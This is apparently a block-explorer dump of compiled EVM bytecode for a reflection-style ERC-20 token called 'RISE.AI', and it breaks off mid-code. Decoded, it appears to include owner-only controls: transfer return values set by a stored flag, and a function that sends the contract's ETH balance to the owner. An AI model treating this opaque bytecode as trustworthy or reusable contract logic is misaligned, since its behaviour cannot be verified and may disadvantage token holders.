906101000a900460ff1615612f5c5783601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612ff05782601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b6000612ffd8383612a7a565b9050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156130a25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561313a5782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f291906149d6565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613443565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156131dd5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613279578060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461323191906148f5565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613442565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561331b5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156134415782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461336b91906149d6565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133fd91906148f5565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b8060000151600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461349291906149d6565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060200151600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461352491906148f5565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081156136335761357f81604001518260e00151613c55565b6135928160600151826101000151613c89565b6135a58160800151826101200151613e34565b6135b88160a00151826101400151613fdf565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83610120015184610100015161361d91906148f5565b60405161362a9190614835565b60405180910390a35b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c001516040516136949190614835565b60405180910390a36136b084600161402790919063ffffffff16565b5060006136bc86611c4c565b14156136d8576136d6856001612a4a90919063ffffffff16565b505b5050505050565b6000806000600e5490506000600d54905060005b600a80549050811015613947578260036000600a848154811061371957613718614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061380757508160046000600a848154811061379f5761379e614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561381e57600e54600d5494509450505050613979565b60036000600a838154811061383657613835614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138a791906149d6565b925060046000600a83815481106138c1576138c0614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261393291906149d6565b9150808061393f90614ac8565b9150506136f3565b50600d54600e54613958919061494b565b82101561397057600e54600d54935093505050613979565b81819350935050505b9091565b60008083600101600084815260200190815260200160002054905060008114613a855760006001826139af91906149d6565b90506000600186600001805490506139c791906149d6565b9050818114613a365760008660000182815481106139e8576139e7614b9e565b5b9060005260206000200154905080876000018481548110613a0c57613a0b614b9e565b5b90600052602060002001819055508387600101600083815260200190815260200160002081905550505b85600001805480613a4a57613a49614b6f565b5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050613a8b565b60009150505b92915050565b613a996140ea565b81613aad57828160c0018181525050613b92565b606460206000015484613ac0919061497c565b613aca919061494b565b8160e0018181525050606460206001015484613ae6919061497c565b613af0919061494b565b81610100018181525050606460206002015484613b0d919061497c565b613b17919061494b565b81610120018181525050606460206003015484613b34919061497c565b613b3e919061494b565b816101400181815250508061014001518161012001518261010001518360e0015186613b6a91906149d6565b613b7491906149d6565b613b7e91906149d6565b613b8891906149d6565b8160c00181815250505b92915050565b6000806000806000808689613bad919061497c565b955087613bcd578586600080600080955095509550955095509550613c48565b868a60e00151613bdd919061497c565b9350868a6101000151613bf0919061497c565b9250868a6101200151613c03919061497c565b9150868a6101400151613c16919061497c565b90508082848689613c2791906149d6565b613c3191906149d6565b613c3b91906149d6565b613c4591906149d6565b94505b9499939850945094509450565b81600e54613c6391906149d6565b600e819055508060126000016000828254613c7e91906148f5565b925050819055505050565b8060166000016000828254613c9e91906148f5565b925050819055508060126001016000828254613cba91906148f5565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d0c91906148f5565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613e305780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613dec91906148f5565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b8060166001016000828254613e4991906148f5565b925050819055508060126002016000828254613e6591906148f5565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eb791906148f5565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613fdb5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613f9791906148f5565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b8060126003016000828254613ff491906148f5565b9250508190555080600d5461400991906149d6565b600d8190555081600e5461401d91906149d6565b600e819055505050565b600061404f836000018373ffffffffffffffffffffffffffffffffffffffff1660001b614057565b905092915050565b600061406383836140c7565b6140bc5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506140c1565b600090505b92915050565b600080836001016000848152602001908152602001600020541415905092915050565b60405180610160016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60008135905061415381614f28565b92915050565b60008135905061416881614f3f565b92915050565b60008135905061417d81614f56565b92915050565b60006020828403121561419957614198614bcd565b5b60006141a784828501614144565b91505092915050565b600080604083850312156141c7576141c6614bcd565b5b60006141d585828601614144565b92505060206141e685828601614144565b9150509250929050565b60008060006060848603121561420957614208614bcd565b5b600061421786828701614144565b935050602061422886828701614144565b92505060406142398682870161416e565b9150509250925092565b6000806040838503121561425a57614259614bcd565b5b600061426885828601614144565b92505060206142798582860161416e565b9150509250929050565b60006020828403121561429957614298614bcd565b5b60006142a784828501614159565b91505092915050565b6000602082840312156142c6576142c5614bcd565b5b60006142d48482850161416e565b91505092915050565b600080604083850312156142f4576142f3614bcd565b5b60006143028582860161416e565b925050602061431385828601614159565b9150509250929050565b60008060006060848603121561433657614335614bcd565b5b60006143448682870161416e565b93505060206143558682870161416e565b925050604061436686828701614144565b9150509250925092565b6000806000806080858703121561438a57614389614bcd565b5b60006143988782880161416e565b94505060206143a98782880161416e565b93505060406143ba8782880161416e565b92505060606143cb8782880161416e565b91505092959194509250565b6143e081614a0a565b82525050565b6143ef81614a1c565b82525050565b6143fe81614a5f565b82525050565b600061440f826148d9565b61441981856148e4565b9350614429818560208601614a95565b61443281614bd2565b840191505092915050565b600061444a6023836148e4565b915061445582614be3565b604082019050919050565b600061446d6005836148e4565b915061447882614c32565b602082019050919050565b6000614490602a836148e4565b915061449b82614c5b565b604082019050919050565b60006144b36026836148e4565b91506144be82614caa565b604082019050919050565b60006144d66022836148e4565b91506144e182614cf9565b604082019050919050565b60006144f9601b836148e4565b915061450482614d48565b602082019050919050565b600061451c6017836148e4565b915061452782614d71565b602082019050919050565b600061453f601f836148e4565b915061454a82614d9a565b602082019050919050565b60006145626020836148e4565b915061456d82614dc3565b602082019050919050565b60006145856029836148e4565b915061459082614dec565b604082019050919050565b60006145a86030836148e4565b91506145b382614e3b565b604082019050919050565b60006145cb6025836148e4565b91506145d682614e8a565b604082019050919050565b60006145ee6024836148e4565b91506145f982614ed9565b604082019050919050565b61460d81614a48565b82525050565b61461c81614a52565b82525050565b600060208201905061463760008301846143d7565b92915050565b600060208201905061465260008301846143e6565b92915050565b600060208201905061466d60008301846143f5565b92915050565b6000602082019050818103600083015261468d8184614404565b905092915050565b600060208201905081810360008301526146ae8161443d565b9050919050565b600060208201905081810360008301526146ce81614460565b9050919050565b600060208201905081810360008301526146ee81614483565b9050919050565b6000602082019050818103600083015261470e816144a6565b9050919050565b6000602082019050818103600083015261472e816144c9565b9050919050565b6000602082019050818103600083015261474e816144ec565b9050919050565b6000602082019050818103600083015261476e8161450f565b9050919050565b6000602082019050818103600083015261478e81614532565b9050919050565b600060208201905081810360008301526147ae81614555565b9050919050565b600060208201905081810360008301526147ce81614578565b9050919050565b600060208201905081810360008301526147ee8161459b565b9050919050565b6000602082019050818103600083015261480e816145be565b9050919050565b6000602082019050818103600083015261482e816145e1565b9050919050565b600060208201905061484a6000830184614604565b92915050565b60006040820190506148656000830185614604565b6148726020830184614604565b9392505050565b600060808201905061488e6000830187614604565b61489b6020830186614604565b6148a86040830185614604565b6148b56060830184614604565b95945050505050565b60006020820190506148d36000830184614613565b92915050565b600081519050919050565b600082825260208201905092915050565b600061490082614a48565b915061490b83614a48565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156149405761493f614b11565b5b828201905092915050565b600061495682614a48565b915061496183614a48565b92508261497157614970614b40565b5b828204905092915050565b600061498782614a48565b915061499283614a48565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156149cb576149ca614b11565b5b828202905092915050565b60006149e182614a48565b91506149ec83614a48565b9250828210156149ff576149fe614b11565b5b828203905092915050565b6000614a1582614a28565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614a6a82614a71565b9050919050565b6000614a7c82614a83565b9050919050565b6000614a8e82614a28565b9050919050565b60005b83811015614ab3578082015181840152602081019050614a98565b83811115614ac2576000848401525b50505050565b6000614ad382614a48565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614b0657614b05614b11565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6572726f72000000000000000000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f4163636f756e74206973206e6f74206578636c75646564000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f752062616c616e636500000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614f3181614a0a565b8114614f3c57600080fd5b50565b614f4881614a1c565b8114614f5357600080fd5b50565b614f5f81614a48565b8114614f6a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201ddd017a6f199fbd9bd06261822544fb461782122f76b7ef4301518b3ea81f1464736f6c63430008070033
Deployed Bytecode
0x60806040526004361061028c5760003560e01c806370a082311161015a578063a8be9a58116100c1578063e7e645191161007a578063e7e6451914610a35578063ea2f0b3714610a72578063ecbde40c14610a9b578063f2fde38b14610ad8578063f77fb6b914610b01578063f921400514610b2a57610293565b8063a8be9a58146108ff578063a9059cbb1461093c578063bc0ad5a314610979578063c49b9a80146109a4578063cc5006b3146109cd578063dd62ed3e146109f857610293565b80638da5cb5b116101135780638da5cb5b146107d657806395d89b41146108015780639b26c9231461082c5780639ba5e4d514610857578063a39801c614610885578063a457c2d7146108c257610293565b806370a08231146106bd578063713898cd146106fa57806373cafdc214610728578063786564c41461075657806379fdd8321461077f5780638b7afe2e146107aa57610293565b80633685d419116101fe5780634549b039116101b75780634549b0391461059b5780634a74bb02146105d857806351ecfeae1461060357806352390c021461062c57806352892884146106555780635342acb41461068057610293565b80633685d4191461048f578063370f0a60146104b857806339509351146104e15780633ccfd60b1461051e5780634359a87114610535578063437823ec1461057257610293565b806323b872dd1161025057806323b872dd1461036d578063275d53ce146103aa5780632d838119146103d3578063313ce5671461041057806331b72ff01461043b57806334ef80bc1461046657610293565b806306fdde0314610298578063095ea7b3146102c357806316a9de141461030057806318160ddd1461032b57806320365d5f1461035657610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610b55565b6040516102ba9190614673565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190614243565b610b92565b6040516102f7919061463d565b60405180910390f35b34801561030c57600080fd5b50610315610bb0565b6040516103229190614622565b60405180910390f35b34801561033757600080fd5b50610340610bd6565b60405161034d9190614835565b60405180910390f35b34801561036257600080fd5b5061036b610be0565b005b34801561037957600080fd5b50610394600480360381019061038f91906141f0565b610d58565b6040516103a1919061463d565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190614283565b610e3f565b005b3480156103df57600080fd5b506103fa60048036038101906103f591906142b0565b610ed8565b6040516104079190614835565b60405180910390f35b34801561041c57600080fd5b50610425610f3f565b60405161043291906148be565b60405180910390f35b34801561044757600080fd5b50610450610f48565b60405161045d9190614835565b60405180910390f35b34801561047257600080fd5b5061048d600480360381019061048891906142b0565b610f4e565b005b34801561049b57600080fd5b506104b660048036038101906104b19190614183565b610fd4565b005b3480156104c457600080fd5b506104df60048036038101906104da9190614183565b61130a565b005b3480156104ed57600080fd5b5061050860048036038101906105039190614243565b61155b565b604051610515919061463d565b60405180910390f35b34801561052a57600080fd5b50610533611607565b005b34801561054157600080fd5b5061055c60048036038101906105579190614183565b6116d2565b6040516105699190614835565b60405180910390f35b34801561057e57600080fd5b5061059960048036038101906105949190614183565b61171b565b005b3480156105a757600080fd5b506105c260048036038101906105bd91906142dd565b6117f2565b6040516105cf9190614835565b60405180910390f35b3480156105e457600080fd5b506105ed611878565b6040516105fa919061463d565b60405180910390f35b34801561060f57600080fd5b5061062a60048036038101906106259190614370565b61188b565b005b34801561063857600080fd5b50610653600480360381019061064e9190614183565b611935565b005b34801561066157600080fd5b5061066a611bd0565b6040516106779190614622565b60405180910390f35b34801561068c57600080fd5b506106a760048036038101906106a29190614183565b611bf6565b6040516106b4919061463d565b60405180910390f35b3480156106c957600080fd5b506106e460048036038101906106df9190614183565b611c4c565b6040516106f19190614835565b60405180910390f35b34801561070657600080fd5b5061070f611d37565b60405161071f9493929190614879565b60405180910390f35b34801561073457600080fd5b5061073d611d55565b60405161074d9493929190614879565b60405180910390f35b34801561076257600080fd5b5061077d60048036038101906107789190614370565b611d73565b005b34801561078b57600080fd5b50610794611e1d565b6040516107a19190614658565b60405180910390f35b3480156107b657600080fd5b506107bf611e43565b6040516107cd929190614850565b60405180910390f35b3480156107e257600080fd5b506107eb611e55565b6040516107f89190614622565b60405180910390f35b34801561080d57600080fd5b50610816611e7e565b6040516108239190614673565b60405180910390f35b34801561083857600080fd5b50610841611ebb565b60405161084e9190614835565b60405180910390f35b34801561086357600080fd5b5061086c611ec1565b60405161087c9493929190614879565b60405180910390f35b34801561089157600080fd5b506108ac60048036038101906108a7919061431d565b611edf565b6040516108b9919061463d565b60405180910390f35b3480156108ce57600080fd5b506108e960048036038101906108e49190614243565b611f9d565b6040516108f6919061463d565b60405180910390f35b34801561090b57600080fd5b5061092660048036038101906109219190614183565b61206a565b6040516109339190614835565b60405180910390f35b34801561094857600080fd5b50610963600480360381019061095e9190614243565b612082565b604051610970919061463d565b60405180910390f35b34801561098557600080fd5b5061098e6120ae565b60405161099b919061463d565b60405180910390f35b3480156109b057600080fd5b506109cb60048036038101906109c69190614283565b6120c1565b005b3480156109d957600080fd5b506109e2612191565b6040516109ef9190614622565b60405180910390f35b348015610a0457600080fd5b50610a1f6004803603810190610a1a91906141b0565b6121b7565b604051610a2c9190614835565b60405180910390f35b348015610a4157600080fd5b50610a5c6004803603810190610a579190614183565b61223e565b604051610a699190614835565b60405180910390f35b348015610a7e57600080fd5b50610a996004803603810190610a949190614183565b612287565b005b348015610aa757600080fd5b50610ac26004803603810190610abd9190614183565b61235e565b604051610acf9190614835565b60405180910390f35b348015610ae457600080fd5b50610aff6004803603810190610afa9190614183565b612376565b005b348015610b0d57600080fd5b50610b286004803603810190610b239190614283565b61251f565b005b348015610b3657600080fd5b50610b3f6125b8565b604051610b4c9190614622565b60405180910390f35b60606040518060400160405280600681526020017f5249534541490000000000000000000000000000000000000000000000000000815250905090565b6000610ba6610b9f6125de565b84846125e6565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b610be86125de565b73ffffffffffffffffffffffffffffffffffffffff16610c06611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390614795565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610d658484846127b1565b610e2684610d716125de565b610e2185604051806060016040528060288152602001614f6e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dd76125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d19092919063ffffffff16565b6125e6565b602560169054906101000a900460ff1690509392505050565b610e476125de565b73ffffffffffffffffffffffffffffffffffffffff16610e65611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290614795565b60405180910390fd5b80602560166101000a81548160ff02191690831515021790555050565b6000600e54821115610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f16906146d5565b60405180910390fd5b6000610f29612a26565b90508083610f37919061494b565b915050919050565b60006009905090565b60105481565b610f566125de565b73ffffffffffffffffffffffffffffffffffffffff16610f74611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190614795565b60405180910390fd5b8060108190555050565b610fdc6125de565b73ffffffffffffffffffffffffffffffffffffffff16610ffa611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104790614795565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d390614755565b60405180910390fd5b60005b600a80549050811015611306578173ffffffffffffffffffffffffffffffffffffffff16600a828154811061111757611116614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156112f357600a6001600a8054905061117291906149d6565b8154811061118357611182614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a82815481106111c2576111c1614b9e565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a8054806112b9576112b8614b6f565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611306565b80806112fe90614ac8565b9150506110df565b5050565b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114eb576001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561148757611443600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611557816001612a4a90919063ffffffff16565b5050565b60006115fd6115686125de565b8484600560006115766125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f891906148f5565b6125e6565b6001905092915050565b61160f6125de565b73ffffffffffffffffffffffffffffffffffffffff1661162d611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167a90614795565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116ce573d6000803e3d6000fd5b5050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117236125de565b73ffffffffffffffffffffffffffffffffffffffff16611741611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178e90614795565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600d54831115611839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183090614775565b60405180910390fd5b8161185a57600061184b846001612a7a565b90508060000151915050611872565b6000611867846001612a7a565b905080602001519150505b92915050565b602560179054906101000a900460ff1681565b6118936125de565b73ffffffffffffffffffffffffffffffffffffffff166118b1611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90614795565b60405180910390fd5b8360186000018190555082601860010181905550816018600201819055508060186003018190555050505050565b61193d6125de565b73ffffffffffffffffffffffffffffffffffffffff1661195b611e55565b73ffffffffffffffffffffffffffffffffffffffff16146119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a890614795565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3590614735565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611b1257611ace600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ce757600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611d32565b611d2f600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b90505b919050565b601c8060000154908060010154908060020154908060030154905084565b60188060000154908060010154908060020154908060030154905084565b611d7b6125de565b73ffffffffffffffffffffffffffffffffffffffff16611d99611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de690614795565b60405180910390fd5b83601c6000018190555082601c6001018190555081601c6002018190555080601c6003018190555050505050565b602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60168060000154908060010154905082565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f524953452e414900000000000000000000000000000000000000000000000000815250905090565b600f5481565b60128060000154908060010154908060020154908060030154905084565b600080841415611ef25760009050611f96565b60008442611f0091906149d6565b9050601054811415611f16576001915050611f96565b6000811415611f7f578273ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f7e576000915050611f96565b5b838111611f90576001915050611f96565b60009150505b9392505050565b6000612060611faa6125de565b8461205b85604051806060016040528060258152602001614f966025913960056000611fd46125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d19092919063ffffffff16565b6125e6565b6001905092915050565b60086020528060005260406000206000915090505481565b600061209661208f6125de565b84846127b1565b602560149054906101000a900460ff16905092915050565b602560149054906101000a900460ff1681565b6120c96125de565b73ffffffffffffffffffffffffffffffffffffffff166120e7611e55565b73ffffffffffffffffffffffffffffffffffffffff161461213d576040517f08c379a000000000000